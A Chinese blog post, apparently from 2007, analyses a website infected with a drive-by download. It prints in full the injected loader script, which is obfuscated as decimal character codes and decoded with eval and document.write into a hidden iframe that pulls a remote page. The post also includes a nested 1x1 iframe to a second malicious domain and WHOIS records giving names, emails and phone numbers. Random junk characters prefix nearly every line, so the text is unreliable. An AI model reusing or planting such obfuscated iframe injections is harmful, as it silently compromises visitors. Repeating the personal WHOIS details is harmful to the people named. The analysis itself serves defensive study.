首发在我的博客里面，
]kboG%Dl?9 h yv2SxP* http://www.areway.cn/?p=175 %; D.vKoh Q%f|~Kl-hd TiH) 5 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
~zw]5| GA Am0; <script>t=’60,105,102,114,97,109,101,
1UQHq@ a M 32,115,114,99,61,104,116,116,112,58,47,47,
yxc=Z0~1 102,114,101,101,46,117,45,117,117,117,46,99,
0Zg%+)iy@ 110,47,101,114,114,111,114,46,104,116,109,
+sJ rllrE( 32,119,105,100,116,104,61,49,48,48,32,104,
SCTA=l. 101,105,103,104,116,61,48,62,60,47,105,102,
,GgAsj: K 114,97,109,101,62′;
9VbOQ {8 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
\Acqr@D iJ~Vl"|m <script>t=’60,105,102,114,97,109,101,32,115,
FJd]D[ h 114,99,61,104,116,116,112,58,47,47,102,114,
ZIF49`Y4TF 101,101,46,117,45,117,117,117,46,99,110,47,
+}a ]GTBgA 101,114,114,111,114,46,104,116,109,32,119,
.c$316 105,100,116,104,61,49,48,48,32,104,101,105,
Q Nl'ZB \ 103,104,116,61,48,62,60,47,105,102,114,97,
_l1 NKk 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
uyY|v$FM document.write(t);</script>
KSrx[q ki)#d'
} <html xmlns=”
1Pa tH[T[ http://www.w3.org/1999/xhtml 9 '2_ “>
,f&5pw
= <head>
C7O6qpO <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
3Gip<\$v <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
k%G1i-] 4 <title>首页 - 爱生活家庭网
q?ix$nKOv zi3\63D3eO 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
\oZ5JoO 转换字符串后的大概内容是（谁点击后果自付）：
Nj 00W1 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
>_LDMs[-p 5;{H &O9Q 查询玉米u-uuu.cn的详细信息：
pt}X>ph{ Domain Name: u-uuu.cn
EE W_gFn ROID: 20070901s10001s64972306-cn
k Zq!& Domain Status: ok
-bU oCF0 Registrant Organization: 王雷
@ W9x$ Registrant Name: 王雷
BG u?<bET Administrative Email:
czlovexs@126.com Zp# v Hs Sponsoring Registrar: 北京万网志成科技有限公司
/n8B,-Z5s5 Name Server:ns.yovole.com
,11H.E
Z Name Server:ns1.yovole.com
_:"<[ >9 Registration Date: 2007-09-01 17:54
W}]%X4<#rN Expiration Date: 2008-09-01 17:54
"l*`>5Nn9 最后PING了一下地址 都没有什么….
[2{1b`e o+$7'+y1n- 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
IyLx0[:U <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
= MOj|NR [ <script language=”javascript” src=”
(#E.`e1#6 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ok4@N @ >
'^"6+ k 这个玉米应该有可能是木马作者的：
1[vi . foafau.info的详细信息：
|1>*;\o- Access to INFO WHOIS information is provided to assist persons in
[ra _ 2R determining the contents of a domain name registration record in the
8zR~d%pK Afilias registry database. The data in this record is provided by
{b
Afilias Limited for informational purposes only, and Afilias does not
8U V mv=T guarantee its accuracy. This service is intended only for query-based
4zo5}L `Y access. You agree that you will use this data only for lawful purposes
2j[&=R/. and that, under no circumstances will you use this data to: (a) allow,
[Yc G(^^ enable, or otherwise support the transmission by e-mail, telephone, or
HZf/CE9T facsimile of mass unsolicited, commercial advertising or solicitations
oczN5YSt to entities other than the data recipient’s own existing customers; or
L-k@-)98 (b) enable high volume, automated, electronic processes that send
i0$kit queries or data to the systems of Registry Operator, a Registrar, or
N
D2L_!g:( Afilias except as reasonably necessary to register domain names or
SK# (#OQoh modify existing registrations. All rights reserved. Afilias reserves
&mtJ Rfnu the right to modify these terms at any time. By submitting this query,
9c6gkt9eB you agree to abide by this policy.
:d#VE-e Domain ID:D22418703-LRMS
%eO0w a$a Domain Name:FOAFAU.INFO
8 {X"h# Created On:20-Nov-2007 16:05:42 UTC
(X3Tav Last Updated On:20-Nov-2007 16:05:44 UTC
sH[ROm Expiration Date:20-Nov-2008 16:05:42 UTC
I]EbodAyZ, Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Oz%>/zw[h Status:CLIENT DELETE PROHIBITED
p$3sME$L Status:CLIENT RENEW PROHIBITED
lH6OcD:kj Status:CLIENT TRANSFER PROHIBITED
pj ?f?.^ Status:CLIENT UPDATE PROHIBITED
F ;2w1S^ Status:TRANSFER PROHIBITED
R'@9]99 Registrant ID:GODA-040110615
K%R xwM Registrant Name:liu hong
d!
LE{ Registrant Organization:
"*srx] Registrant Street1:beijing
LB a[:j2 Registrant Street2:
D,k"Pa LP Registrant Street3:
Us0EG\Y Registrant City:beijing
#kaY0M Registrant State/Province:
='Y!+ Registrant Postal Code:100000
Qh'AT o Registrant Country:CN
m~-K[+ya`D Registrant Phone:+86.860108888777
&b fA.&
` Registrant Phone Ext.:
5jgR4a*_v Registrant FAX:
esMX-.8Cx Registrant FAX Ext.:
7B\Vs -d Registrant Email:bbbshiji@163.com
`u
teg= Admin ID:GODA-240110615
yooX$ Admin Name:liu hong
t~#zMUfac Admin Organization:
O#S;q5L@ Admin Street1:beijing
&N\jG373 Admin Street2:
vR H d&0 Admin Street3:
K)DDk9* Admin City:beijing
pw)| |Q Admin State/Province:
A N/;)wc Admin Postal Code:100000
9vGu 0Um Admin Country:CN
<4g{ fT0 Admin Phone:+86.860108888777
f-`)^ 5E Admin Phone Ext.:
i A' lon Admin FAX:
<YhB8W9 P Admin FAX Ext.:
)W;o<:x3 Admin Email:bbbshiji@163.com
hM6PP 7XH Billing ID:GODA-340110615
}:KEj_~. Billing Name:liu hong
eOs)_?} Billing Organization:
Y STv\y Billing Street1:beijing
9NQlI1W z4 Billing Street2:
!`,Sfqij Billing Street3:
CzRc%%BA Billing City:beijing
qQ?"@>PALD Billing State/Province:
GS a [
oh Billing Postal Code:100000
d(: 8M Billing Country:CN
FrL]^ 59a Billing Phone:+86.860108888777
Kgi<UkFP Billing Phone Ext.:
:7!0OVQla\ Billing FAX:
pgE}NlW Billing FAX Ext.:
7Z\--=;|[: Billing Email:bbbshiji@163.com
W;'!gpa Tech ID:GODA-140110615
U |Jo{(Y Tech Name:liu hong
/
zB0 J? Tech Organization:
V-Sd [ Tech Street1:beijing
^=RffrlZU Tech Street2:
YW_Q\|p]M Tech Street3:
jv %kOovj Tech City:beijing
$RIecv<e_ Tech State/Province:
GVYBa_gx Tech Postal Code:100000
k@f g(}6 Tech Country:CN
[<g?WPCcC Tech Phone:+86.860108888777
:D%"EJ Tech Phone Ext.:
/H(?
2IHC Tech FAX:
B8V>NvE~o Tech FAX Ext.:
%,6#2X nX% Tech Email:bbbshiji@163.com
UEM(@zD] Name Server:NS27.DOMAINCONTROL.COM
Jq &uF*! Name Server:NS28.DOMAINCONTROL.COM
j53*E
)d Name Server:
C":32 _q Name Server:
Q<^Tl(`/N? Name Server:
oX S1QT`B Name Server:
vY }A Name Server:
O Wjk=u2Lz Name Server:
@eD):Y Name Server:
E .7 Name Server:
hb zC#@ q Name Server:
;V*R*R Name Server:
XQ9O $
~q Name Server:
5!D BmAB !}v=N ";c 接着下载每个文件里面的代码：
uxtWybv 一步一步看..
,2j&ko1 
TcjEcMw, 
&]e'KdXF 
m?pstuUK( 
66/3|83Z 
< Z{HX[y 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
